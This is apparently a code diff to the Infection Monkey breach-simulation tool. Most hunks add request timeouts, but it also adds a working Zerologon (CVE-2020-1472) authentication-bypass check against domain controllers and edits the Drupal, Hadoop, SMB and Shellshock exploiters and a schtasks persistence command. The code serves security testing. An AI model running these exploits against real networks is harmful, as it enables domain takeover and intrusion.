""" Raise to indicate that connection to version update server failed """
|
||||
|
|
|
@ -9,6 +9,9 @@ from requests.exceptions import ConnectionError
|
|||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
import infection_monkey.tunnel as tunnel
|
||||
from common.common_consts.timeouts import (LONG_REQUEST_TIMEOUT,
|
||||
MEDIUM_REQUEST_TIMEOUT,
|
||||
SHORT_REQUEST_TIMEOUT)
|
||||
from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
|
||||
from infection_monkey.config import GUID, WormConfiguration
|
||||
from infection_monkey.network.info import check_internet_access, local_ips
|
||||
|
@ -80,7 +83,7 @@ class ControlClient(object):
|
|||
if ControlClient.proxies:
|
||||
debug_message += " through proxies: %s" % ControlClient.proxies
|
||||
LOG.debug(debug_message)
|
||||
requests.get("https://%s/api?action=is-up" % (server,), # noqa: DUO123
|
||||
requests.get(f"https://{server}/api?action=is-up", # noqa: DUO123
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies,
|
||||
timeout=TIMEOUT_IN_SECONDS)
|
||||
|
@ -120,7 +123,8 @@ class ControlClient(object):
|
|||
data=json.dumps(monkey),
|
||||
headers={'content-type': 'application/json'},
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
proxies=ControlClient.proxies,
|
||||
timeout=MEDIUM_REQUEST_TIMEOUT)
|
||||
except Exception as exc:
|
||||
LOG.warning("Error connecting to control server %s: %s",
|
||||
WormConfiguration.current_server, exc)
|
||||
|
@ -137,7 +141,8 @@ class ControlClient(object):
|
|||
data=json.dumps(telemetry),
|
||||
headers={'content-type': 'application/json'},
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
proxies=ControlClient.proxies,
|
||||
timeout=MEDIUM_REQUEST_TIMEOUT)
|
||||
except Exception as exc:
|
||||
LOG.warning("Error connecting to control server %s: %s",
|
||||
WormConfiguration.current_server, exc)
|
||||
|
@ -152,7 +157,8 @@ class ControlClient(object):
|
|||
data=json.dumps(telemetry),
|
||||
headers={'content-type': 'application/json'},
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
proxies=ControlClient.proxies,
|
||||
timeout=MEDIUM_REQUEST_TIMEOUT)
|
||||
except Exception as exc:
|
||||
LOG.warning("Error connecting to control server %s: %s",
|
||||
WormConfiguration.current_server, exc)
|
||||
|
@ -164,7 +170,8 @@ class ControlClient(object):
|
|||
try:
|
||||
reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), # noqa: DUO123
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
proxies=ControlClient.proxies,
|
||||
timeout=MEDIUM_REQUEST_TIMEOUT)
|
||||
|
||||
except Exception as exc:
|
||||
LOG.warning("Error connecting to control server %s: %s",
|
||||
|
@ -193,7 +200,8 @@ class ControlClient(object):
|
|||
data=json.dumps({'config_error': True}),
|
||||
headers={'content-type': 'application/json'},
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
proxies=ControlClient.proxies,
|
||||
timeout=MEDIUM_REQUEST_TIMEOUT)
|
||||
except Exception as exc:
|
||||
LOG.warning("Error connecting to control server %s: %s", WormConfiguration.current_server, exc)
|
||||
return {}
|
||||
|
@ -254,7 +262,8 @@ class ControlClient(object):
|
|||
download = requests.get("https://%s/api/monkey/download/%s" % # noqa: DUO123
|
||||
(WormConfiguration.current_server, filename),
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
proxies=ControlClient.proxies,
|
||||
timeout=MEDIUM_REQUEST_TIMEOUT)
|
||||
|
||||
with monkeyfs.open(dest_file, 'wb') as file_obj:
|
||||
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
|
||||
|
@ -280,7 +289,8 @@ class ControlClient(object):
|
|||
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,), # noqa: DUO123
|
||||
data=json.dumps(host_dict),
|
||||
headers={'content-type': 'application/json'},
|
||||
verify=False, proxies=ControlClient.proxies)
|
||||
verify=False, proxies=ControlClient.proxies,
|
||||
timeout=LONG_REQUEST_TIMEOUT)
|
||||
if 200 == reply.status_code:
|
||||
result_json = reply.json()
|
||||
filename = result_json.get('filename')
|
||||
|
@ -322,7 +332,8 @@ class ControlClient(object):
|
|||
return requests.get(PBA_FILE_DOWNLOAD % # noqa: DUO123
|
||||
(WormConfiguration.current_server, filename),
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
proxies=ControlClient.proxies,
|
||||
timeout=LONG_REQUEST_TIMEOUT)
|
||||
except requests.exceptions.RequestException:
|
||||
return False
|
||||
|
||||
|
@ -333,7 +344,8 @@ class ControlClient(object):
|
|||
T1216_PBA_FILE_DOWNLOAD_PATH),
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies,
|
||||
stream=True)
|
||||
stream=True,
|
||||
timeout=MEDIUM_REQUEST_TIMEOUT)
|
||||
except requests.exceptions.RequestException:
|
||||
return False
|
||||
|
||||
|
@ -351,7 +363,7 @@ class ControlClient(object):
|
|||
def can_island_see_port(port):
|
||||
try:
|
||||
url = f"https://{WormConfiguration.current_server}/api/monkey_control/check_remote_port/{port}"
|
||||
response = requests.get(url, verify=False)
|
||||
response = requests.get(url, verify=False, timeout=SHORT_REQUEST_TIMEOUT)
|
||||
response = json.loads(response.content.decode())
|
||||
return response['status'] == "port_visible"
|
||||
except requests.exceptions.RequestException:
|
||||
|
@ -361,4 +373,5 @@ class ControlClient(object):
|
|||
def report_start_on_island():
|
||||
requests.post(f"https://{WormConfiguration.current_server}/api/monkey_control/started_on_island",
|
||||
data=json.dumps({'started_on_island': True}),
|
||||
verify=False)
|
||||
verify=False,
|
||||
timeout=MEDIUM_REQUEST_TIMEOUT)
|
||||
|
|
|
@ -9,6 +9,8 @@ from urllib.parse import urljoin
|
|||
|
||||
import requests
|
||||
|
||||
from common.common_consts.timeouts import (LONG_REQUEST_TIMEOUT,
|
||||
MEDIUM_REQUEST_TIMEOUT)
|
||||
from common.network.network_utils import remove_port
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.model import ID_STRING
|
||||
|
@ -75,7 +77,8 @@ class DrupalExploiter(WebRCE):
|
|||
response = requests.get(f'{url}?_format=hal_json', # noqa: DUO123
|
||||
json=payload,
|
||||
headers={"Content-Type": "application/hal+json"},
|
||||
verify=False)
|
||||
verify=False,
|
||||
timeout=MEDIUM_REQUEST_TIMEOUT)
|
||||
|
||||
if is_response_cached(response):
|
||||
LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring')
|
||||
|
@ -92,7 +95,8 @@ class DrupalExploiter(WebRCE):
|
|||
r = requests.get(f'{url}?_format=hal_json', # noqa: DUO123
|
||||
json=payload,
|
||||
headers={"Content-Type": "application/hal+json"},
|
||||
verify=False)
|
||||
verify=False,
|
||||
timeout=LONG_REQUEST_TIMEOUT)
|
||||
|
||||
if is_response_cached(r):
|
||||
LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
|
||||
|
@ -136,7 +140,9 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100
|
|||
articles = set()
|
||||
while lower < upper:
|
||||
node_url = urljoin(base_url, str(lower))
|
||||
response = requests.get(node_url, verify=False) # noqa: DUO123
|
||||
response = requests.get(node_url,
|
||||
verify=False,
|
||||
timeout=LONG_REQUEST_TIMEOUT) # noqa: DUO123
|
||||
if response.status_code == 200:
|
||||
if is_response_cached(response):
|
||||
LOG.info(f'Found a cached article at: {node_url}, skipping')
|
||||
|
|
|
@ -12,6 +12,7 @@ import string
|
|||
import requests
|
||||
|
||||
from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth
|
||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.model import HADOOP_LINUX_COMMAND, HADOOP_WINDOWS_COMMAND, ID_STRING, MONKEY_ARG
|
||||
|
@ -56,18 +57,20 @@ class HadoopExploiter(WebRCE):
|
|||
|
||||
def exploit(self, url, command):
|
||||
# Get the newly created application id
|
||||
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
|
||||
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"),
|
||||
timeout=LONG_REQUEST_TIMEOUT)
|
||||
resp = json.loads(resp.content)
|
||||
app_id = resp['application-id']
|
||||
# Create a random name for our application in YARN
|
||||
rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)])
|
||||
payload = self.build_payload(app_id, rand_name, command)
|
||||
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload)
|
||||
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT)
|
||||
return resp.status_code == 202
|
||||
|
||||
def check_if_exploitable(self, url):
|
||||
try:
|
||||
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
|
||||
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"),
|
||||
timeout=LONG_REQUEST_TIMEOUT)
|
||||
except requests.ConnectionError:
|
||||
return False
|
||||
return resp.status_code == 200
|
||||
|
|
|
@ -226,7 +226,6 @@ class ShellShockExploiter(HostExploiter):
|
|||
Checks if which urls exist
|
||||
:return: Sequence of URLs to try and attack
|
||||
"""
|
||||
import requests
|
||||
attack_path = 'http://'
|
||||
if is_https:
|
||||
attack_path = 'https://'
|
||||
|
|
|
@ -1,7 +1,6 @@
|
|||
from logging import getLogger
|
||||
|
||||
from impacket.dcerpc.v5 import scmr, transport
|
||||
from impacket.smbconnection import SMB_DIALECT
|
||||
|
||||
from common.utils.attack_utils import ScanStatus, UsageEnum
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
|
@ -100,7 +99,7 @@ class SmbExploiter(HostExploiter):
|
|||
LOG.debug("Exploiter SmbExec is giving up...")
|
||||
return False
|
||||
|
||||
self.set_vulnerable_port(self.host)
|
||||
self.set_vulnerable_port()
|
||||
# execute the remote dropper in case the path isn't final
|
||||
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
||||
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
|
||||
|
@ -117,8 +116,7 @@ class SmbExploiter(HostExploiter):
|
|||
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
|
||||
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
|
||||
rpctransport.set_dport(port)
|
||||
if hasattr(rpctransport, 'preferred_dialect'):
|
||||
rpctransport.preferred_dialect(SMB_DIALECT)
|
||||
rpctransport.setRemoteHost(self.host.ip_addr)
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransport.set_credentials(user, password, '', lm_hash, ntlm_hash, None)
|
||||
|
@ -164,7 +162,7 @@ class SmbExploiter(HostExploiter):
|
|||
SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
|
||||
return True
|
||||
|
||||
def set_vulnerable_port(self, host: VictimHost):
|
||||
def set_vulnerable_port(self):
|
||||
if 'tcp-445' in self.host.services:
|
||||
self.vulnerable_port = "445"
|
||||
elif 'tcp-139' in self.host.services:
|
||||
|
|
|
@ -51,7 +51,7 @@ class WebRCE(HostExploiter):
|
|||
Method that creates a dictionary of configuration values for exploit
|
||||
:return: configuration dict
|
||||
"""
|
||||
exploit_config = dict()
|
||||
exploit_config = {}
|
||||
|
||||
# dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy
|
||||
# it's file to the default destination path.
|
||||
|
|
|
@ -166,7 +166,11 @@ class InfectionMonkey(object):
|
|||
for finger in self._fingerprint:
|
||||
LOG.info("Trying to get OS fingerprint from %r with module %s",
|
||||
machine, finger.__class__.__name__)
|
||||
finger.get_host_fingerprint(machine)
|
||||
try:
|
||||
finger.get_host_fingerprint(machine)
|
||||
except BaseException as exc:
|
||||
LOG.error("Failed to run fingerprinter %s, exception %s" % finger.__class__.__name__,
|
||||
str(exc))
|
||||
|
||||
ScanTelem(machine).send()
|
||||
|
||||
|
|
|
@ -113,7 +113,7 @@ class NetworkScanner(object):
|
|||
:return: Victim or None if victim isn't alive
|
||||
"""
|
||||
LOG.debug("Scanning target address: %r", victim)
|
||||
if any([scanner.is_host_alive(victim) for scanner in self.scanners]):
|
||||
if any(scanner.is_host_alive(victim) for scanner in self.scanners):
|
||||
LOG.debug("Found potential target_ip: %r", victim)
|
||||
return victim
|
||||
else:
|
||||
|
|
|
@ -141,7 +141,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
|||
timeout = int(round(timeout)) # clamp to integer, to avoid checking input
|
||||
sockets_to_try = possible_ports[:]
|
||||
connected_ports_sockets = []
|
||||
while (timeout >= 0) and len(sockets_to_try):
|
||||
while (timeout >= 0) and sockets_to_try:
|
||||
sock_objects = [s[1] for s in sockets_to_try]
|
||||
|
||||
_, writeable_sockets, _ = select.select(sock_objects, sock_objects, sock_objects, 0)
|
||||
|
|
|
@ -0,0 +1,109 @@
|
|||
"""
|
||||
Implementation from https://github.com/SecuraBV/CVE-2020-1472
|
||||
"""
|
||||
|
||||
import logging
|
||||
|
||||
import nmb.NetBIOS
|
||||
from impacket.dcerpc.v5 import epm, nrpc, transport
|
||||
|
||||
from infection_monkey.network.HostFinger import HostFinger
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class WindowsServerFinger(HostFinger):
|
||||
# Class related consts
|
||||
MAX_ATTEMPTS = 2000
|
||||
_SCANNED_SERVICE = "NTLM (NT LAN Manager)"
|
||||
|
||||
def get_host_fingerprint(self, host):
|
||||
"""
|
||||
Checks if the Windows Server is vulnerable to Zerologon.
|
||||
"""
|
||||
|
||||
DC_IP = host.ip_addr
|
||||
DC_NAME = self.get_dc_name(DC_IP)
|
||||
|
||||
if DC_NAME: # if it is a Windows DC
|
||||
# Keep authenticating until successful.
|
||||
# Expected average number of attempts needed: 256.
|
||||
# Approximate time taken by 2000 attempts: 40 seconds.
|
||||
DC_HANDLE = '\\\\' + DC_NAME
|
||||
|
||||
LOG.info('Performing Zerologon authentication attempts...')
|
||||
rpc_con = None
|
||||
for _ in range(0, self.MAX_ATTEMPTS):
|
||||
try:
|
||||
rpc_con = self.try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME)
|
||||
if rpc_con is not None:
|
||||
break
|
||||
except Exception as ex:
|
||||
LOG.info(ex)
|
||||
break
|
||||
|
||||
self.init_service(host.services, self._SCANNED_SERVICE, '')
|
||||
|
||||
if rpc_con:
|
||||
LOG.info('Success: Domain Controller can be fully compromised by a Zerologon attack.')
|
||||
host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True
|
||||
return True
|
||||
else:
|
||||
LOG.info('Failure: Target is either patched or an unexpected error was encountered.')
|
||||
host.services[self._SCANNED_SERVICE]['is_vulnerable'] = False
|
||||
return False
|
||||
|
||||
else:
|
||||
LOG.info('Error encountered; most likely not a Windows Domain Controller.')
|
||||
return False
|
||||
|
||||
def get_dc_name(self, DC_IP):
|
||||
"""
|
||||
Gets NetBIOS name of the Domain Controller (DC).
|
||||
"""
|
||||
|
||||
try:
|
||||
nb = nmb.NetBIOS.NetBIOS()
|
||||
name = nb.queryIPForName(ip=DC_IP) # returns either a list of NetBIOS names or None
|
||||
return name[0] if name else None
|
||||
except BaseException as ex:
|
||||
LOG.info(f'Exception: {ex}')
|
||||
|
||||
def try_zero_authenticate(self, DC_HANDLE, DC_IP, DC_NAME):
|
||||
# Connect to the DC's Netlogon service.
|
||||
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
|
||||
protocol='ncacn_ip_tcp')
|
||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||
rpc_con.connect()
|
||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||
|
||||
# Use an all-zero challenge and credential.
|
||||
plaintext = b'\x00' * 8
|
||||
ciphertext = b'\x00' * 8
|
||||
|
||||
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
|
||||
flags = 0x212fffff
|
||||
|
||||
# Send challenge and authentication request.
|
||||
nrpc.hNetrServerReqChallenge(
|
||||
rpc_con, DC_HANDLE + '\x00', DC_NAME + '\x00', plaintext)
|
||||
|
||||
try:
|
||||
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||
rpc_con, DC_HANDLE + '\x00', DC_NAME +
|
||||
'$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||
DC_NAME + '\x00', ciphertext, flags
|
||||
)
|
||||
|
||||
# It worked!
|
||||
assert server_auth['ErrorCode'] == 0
|
||||
return rpc_con
|
||||
|
||||
except nrpc.DCERPCSessionError as ex:
|
||||
if ex.get_error_code() == 0xc0000022: # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
|
||||
pass
|
||||
else:
|
||||
raise Exception(f'Unexpected error code: {ex.get_error_code()}.')
|
||||
|
||||
except BaseException as ex:
|
||||
raise Exception(f'Unexpected error: {ex}.')
|
|
@ -15,5 +15,7 @@ class ScheduleJobs(PBA):
|
|||
super(ScheduleJobs, self).__init__(name=POST_BREACH_JOB_SCHEDULING,
|
||||
linux_cmd=' '.join(linux_cmds),
|
||||
windows_cmd=windows_cmds)
|
||||
|
||||
|
||||
def run(self):
|
||||
super(ScheduleJobs, self).run()
|
||||
remove_scheduled_jobs()
|
||||
|
|
|
@ -5,7 +5,7 @@ SCHEDULED_TASK_COMMAND = r'C:\windows\system32\cmd.exe'
|
|||
|
||||
|
||||
def get_windows_commands_to_schedule_jobs():
|
||||
return f'schtasks /Create /SC monthly /TN {SCHEDULED_TASK_NAME} /TR {SCHEDULED_TASK_COMMAND}'
|
||||
return f'schtasks /Create /SC monthly /F /TN {SCHEDULED_TASK_NAME} /TR {SCHEDULED_TASK_COMMAND}'
|
||||
|
||||
|
||||
def get_windows_commands_to_remove_scheduled_jobs():
|
||||
|
|
|
@ -25,9 +25,9 @@ class PostBreach(object):
|
|||
"""
|
||||
Executes all post breach actions.
|
||||
"""
|
||||
pool = Pool(5)
|
||||
pool.map(self.run_pba, self.pba_list)
|
||||
LOG.info("All PBAs executed. Total {} executed.".format(len(self.pba_list)))
|
||||
with Pool(5) as pool:
|
||||
pool.map(self.run_pba, self.pba_list)
|
||||
LOG.info("All PBAs executed. Total {} executed.".format(len(self.pba_list)))
|
||||
|
||||
@staticmethod
|
||||
def config_to_pba_list() -> Sequence[PBA]:
|
||||
|
@ -40,5 +40,6 @@ class PostBreach(object):
|
|||
try:
|
||||
LOG.debug("Executing PBA: '{}'".format(pba.name))
|
||||
pba.run()
|
||||
LOG.debug(f"Execution of {pba.name} finished")
|
||||
except Exception as e:
|
||||
LOG.error("PBA {} failed. Error info: {}".format(pba.name, e))
|
||||
|
|
|
@ -12,5 +12,6 @@ pycryptodome==3.9.8
|
|||
pyftpdlib==1.5.6
|
||||
pymssql<3.0
|
||||
pypykatz==0.3.12
|
||||
pysmb==1.2.5
|
||||
requests>=2.24
|
||||
wmi==1.5.1 ; sys_platform == 'win32'
|
||||
|
|
|
@ -66,8 +66,8 @@ def _get_windows_cred(pypykatz_cred: PypykatzCredential):
|
|||
|
||||
|
||||
def _hash_to_string(hash_: Any):
|
||||
if type(hash_) == str:
|
||||
if type(hash_) is str:
|
||||
return hash_
|
||||
if type(hash_) == bytes:
|
||||
if type(hash_) is bytes:
|
||||
return binascii.hexlify(bytearray(hash_)).decode()
|
||||
raise Exception(f"Can't convert hash_ to string, unsupported hash_ type {type(hash_)}")
|
||||
|
|
|
@ -11,6 +11,7 @@ import requests
|
|||
|
||||
import infection_monkey.control
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT
|
||||
from infection_monkey.network.tools import get_interface_to_target
|
||||
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
|
||||
|
||||
|
@ -122,7 +123,8 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
|
|||
r = requests.post(url=dest_path,
|
||||
data=post_data,
|
||||
verify=False,
|
||||
proxies=infection_monkey.control.ControlClient.proxies)
|
||||
proxies=infection_monkey.control.ControlClient.proxies,
|
||||
timeout=SHORT_REQUEST_TIMEOUT)
|
||||
self.send_response(r.status_code)
|
||||
except requests.exceptions.ConnectionError as e:
|
||||
LOG.error("Couldn't forward request to the island: {}".format(e))
|
||||
|
|
|
@ -0,0 +1,31 @@
|
|||
import subprocess
|
||||
|
||||
import pytest
|
||||
|
||||
from infection_monkey.utils.linux.users import AutoNewLinuxUser
|
||||
|
||||
TEST_USER = "test_user"
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def subprocess_check_output_spy(monkeypatch):
|
||||
def mock_check_output(command, stderr, shell):
|
||||
mock_check_output.command = command
|
||||
|
||||
mock_check_output.command = ""
|
||||
|
||||
monkeypatch.setattr(subprocess, "check_output", mock_check_output)
|
||||
|
||||
return mock_check_output
|
||||
|
||||
|
||||
def test_new_user_expires(subprocess_check_output_spy):
|
||||
with (AutoNewLinuxUser(TEST_USER, "password")):
|
||||
assert "--expiredate" in subprocess_check_output_spy.command
|
||||
assert "--inactive 0" in subprocess_check_output_spy.command
|
||||
|
||||
|
||||
def test_new_user_try_delete(subprocess_check_output_spy):
|
||||
with (AutoNewLinuxUser(TEST_USER, "password")):
|
||||
pass
|
||||
assert f"deluser {TEST_USER}" in subprocess_check_output_spy.command
|
|
@ -0,0 +1,34 @@
|
|||
import pytest
|
||||
|
||||
import infection_monkey.utils.auto_new_user_factory as new_user_factory
|
||||
|
||||
|
||||
class NewUserStub:
|
||||
def __init__(self, username, password):
|
||||
pass
|
||||
|
||||
|
||||
class NewWindowsUserStub(NewUserStub):
|
||||
pass
|
||||
|
||||
|
||||
class NewLinuxUserStub(NewUserStub):
|
||||
pass
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def patch_new_user_classes(monkeypatch):
|
||||
monkeypatch.setattr(new_user_factory, "AutoNewWindowsUser", NewWindowsUserStub)
|
||||
monkeypatch.setattr(new_user_factory, "AutoNewLinuxUser", NewLinuxUserStub)
|
||||
|
||||
|
||||
def test_create_auto_new_user_windows_user(patch_new_user_classes):
|
||||
new_user = new_user_factory.create_auto_new_user("user", "password", True)
|
||||
|
||||
assert isinstance(new_user, NewWindowsUserStub)
|
||||
|
||||
|
||||
def test_create_auto_new_user_linux_user(patch_new_user_classes):
|
||||
new_user = new_user_factory.create_auto_new_user("user", "password", False)
|
||||
|
||||
assert isinstance(new_user, NewLinuxUserStub)
|
|
@ -1,3 +1,7 @@
|
|||
from gevent import monkey as gevent_monkey
|
||||
|
||||
gevent_monkey.patch_all()
|
||||
|
||||
from monkey_island.cc.main import main
|
||||
|
||||
|
||||
|
@ -5,8 +9,9 @@ def parse_cli_args():
|
|||
import argparse
|
||||
parser = argparse.ArgumentParser(description="Infection Monkey Island CnC Server. See https://infectionmonkey.com")
|
||||
parser.add_argument("-s", "--setup-only", action="store_true",
|
||||
help="Pass this flag to cause the Island to setup and exit without actually starting. This is useful "
|
||||
"for preparing Island to boot faster later-on, so for compiling/packaging Islands.")
|
||||
help="Pass this flag to cause the Island to setup and exit without actually starting. "
|
||||
"This is useful for preparing Island to boot faster later-on, so for "
|
||||
"compiling/packaging Islands.")
|
||||
args = parser.parse_args()
|
||||
return args.setup_only
|
||||
|
||||
|
|
|
@ -3,6 +3,7 @@ import json
|
|||
import logging
|
||||
import sys
|
||||
from pathlib import Path
|
||||
from shutil import move
|
||||
|
||||
|
||||
def add_monkey_dir_to_sys_path():
|
||||
|
@ -16,6 +17,7 @@ add_monkey_dir_to_sys_path()
|
|||
from monkey_island.cc.environment.environment_config import EnvironmentConfig # noqa: E402 isort:skip
|
||||
|
||||
SERVER_CONFIG = "server_config"
|
||||
BACKUP_CONFIG_FILENAME = "./server_config.backup"
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
logger.addHandler(logging.StreamHandler())
|
||||
|
@ -26,10 +28,19 @@ def main():
|
|||
args = parse_args()
|
||||
file_path = EnvironmentConfig.get_config_file_path()
|
||||
|
||||
if args.server_config == "restore":
|
||||
restore_previous_config(file_path)
|
||||
quit()
|
||||
|
||||
# Read config
|
||||
with open(file_path) as config_file:
|
||||
config_data = json.load(config_file)
|
||||
|
||||
# Backup the config
|
||||
with open(BACKUP_CONFIG_FILENAME, "w") as backup_file:
|
||||
json.dump(config_data, backup_file, indent=4)
|
||||
backup_file.write("\n")
|
||||
|
||||
# Edit the config
|
||||
config_data[SERVER_CONFIG] = args.server_config
|
||||
|
||||
|
@ -42,10 +53,14 @@ def main():
|
|||
|
||||
def parse_args():
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("server_config", choices=["standard", "password"])
|
||||
parser.add_argument("server_config", choices=["standard", "password", "restore"])
|
||||
args = parser.parse_args()
|
||||
return args
|
||||
|
||||
|
||||
def restore_previous_config(config_path):
|
||||
move(BACKUP_CONFIG_FILENAME, config_path)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
|
|
|
@ -6,6 +6,8 @@ from pathlib import Path
|
|||
from threading import Thread
|
||||
|
||||
# Add the monkey_island directory to the path, to make sure imports that don't start with "monkey_island." work.
|
||||
from gevent.pywsgi import WSGIServer
|
||||
|
||||
MONKEY_ISLAND_DIR_BASE_PATH = str(Path(__file__).parent.parent)
|
||||
if str(MONKEY_ISLAND_DIR_BASE_PATH) not in sys.path:
|
||||
sys.path.insert(0, MONKEY_ISLAND_DIR_BASE_PATH)
|
||||
|
@ -43,9 +45,6 @@ def main(should_setup_only=False):
|
|||
|
||||
|
||||
def start_island_server(should_setup_only):
|
||||
from tornado.httpserver import HTTPServer
|
||||
from tornado.ioloop import IOLoop
|
||||
from tornado.wsgi import WSGIContainer
|
||||
|
||||
mongo_url = os.environ.get('MONGO_URL', env_singleton.env.get_mongo_url())
|
||||
wait_for_mongo_db_server(mongo_url)
|
||||
|
@ -66,12 +65,11 @@ def start_island_server(should_setup_only):
|
|||
if env_singleton.env.is_debug():
|
||||
app.run(host='0.0.0.0', debug=True, ssl_context=(crt_path, key_path))
|
||||
else:
|
||||
http_server = HTTPServer(WSGIContainer(app),
|
||||
ssl_options={'certfile': os.environ.get('SERVER_CRT', crt_path),
|
||||
'keyfile': os.environ.get('SERVER_KEY', key_path)})
|
||||
http_server.listen(env_singleton.env.get_island_port())
|
||||
http_server = WSGIServer(('0.0.0.0', env_singleton.env.get_island_port()), app,
|
||||
certfile=os.environ.get('SERVER_CRT', crt_path),
|
||||
keyfile=os.environ.get('SERVER_KEY', key_path))
|
||||
log_init_info()
|
||||
IOLoop.instance().start()
|
||||
http_server.serve_forever()
|
||||
|
||||
|
||||
def log_init_info():
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
import flask_restful
|
||||
from flask import send_from_directory
|
||||
|
||||
from monkey_island.cc.services.post_breach_files import UPLOADS_DIR
|
||||
from monkey_island.cc.services.post_breach_files import ABS_UPLOAD_PATH
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
|
@ -13,4 +13,4 @@ class PBAFileDownload(flask_restful.Resource):
|
|||
|
||||
# Used by monkey. can't secure.
|
||||
def get(self, path):
|
||||
return send_from_directory(UPLOADS_DIR, path)
|
||||
return send_from_directory(ABS_UPLOAD_PATH, path)
|
||||
|
|
|
@ -8,8 +8,8 @@ from werkzeug.utils import secure_filename
|
|||
|
||||
from monkey_island.cc.resources.auth.auth import jwt_required
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
from monkey_island.cc.services.post_breach_files import (PBA_LINUX_FILENAME_PATH, PBA_UPLOAD_PATH,
|
||||
PBA_WINDOWS_FILENAME_PATH, UPLOADS_DIR)
|
||||
from monkey_island.cc.services.post_breach_files import (ABS_UPLOAD_PATH, PBA_LINUX_FILENAME_PATH,
|
||||
PBA_WINDOWS_FILENAME_PATH)
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
|
@ -18,9 +18,6 @@ LOG = logging.getLogger(__name__)
|
|||
LINUX_PBA_TYPE = 'PBAlinux'
|
||||
WINDOWS_PBA_TYPE = 'PBAwindows'
|
||||
|
||||
# This path is used by flask, which means that local directory is different from UPLOADS_DIR
|
||||
FLASK_UPLOAD_PATH = PBA_UPLOAD_PATH[-1]
|
||||
|
||||
|
||||
class FileUpload(flask_restful.Resource):
|
||||
"""
|
||||
|
@ -28,7 +25,7 @@ class FileUpload(flask_restful.Resource):
|
|||
"""
|
||||
def __init__(self):
|
||||
# Create all directories on the way if they don't exist
|
||||
UPLOADS_DIR.mkdir(parents=True, exist_ok=True)
|
||||
ABS_UPLOAD_PATH.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
@jwt_required
|
||||
def get(self, file_type):
|
||||
|
@ -42,7 +39,7 @@ class FileUpload(flask_restful.Resource):
|
|||
filename = ConfigService.get_config_value(copy.deepcopy(PBA_LINUX_FILENAME_PATH))
|
||||
else:
|
||||
filename = ConfigService.get_config_value(copy.deepcopy(PBA_WINDOWS_FILENAME_PATH))
|
||||
return send_from_directory(FLASK_UPLOAD_PATH, filename)
|
||||
return send_from_directory(ABS_UPLOAD_PATH, filename)
|
||||
|
||||
@jwt_required
|
||||
def post(self, file_type):
|
||||
|
@ -67,7 +64,7 @@ class FileUpload(flask_restful.Resource):
|
|||
"""
|
||||
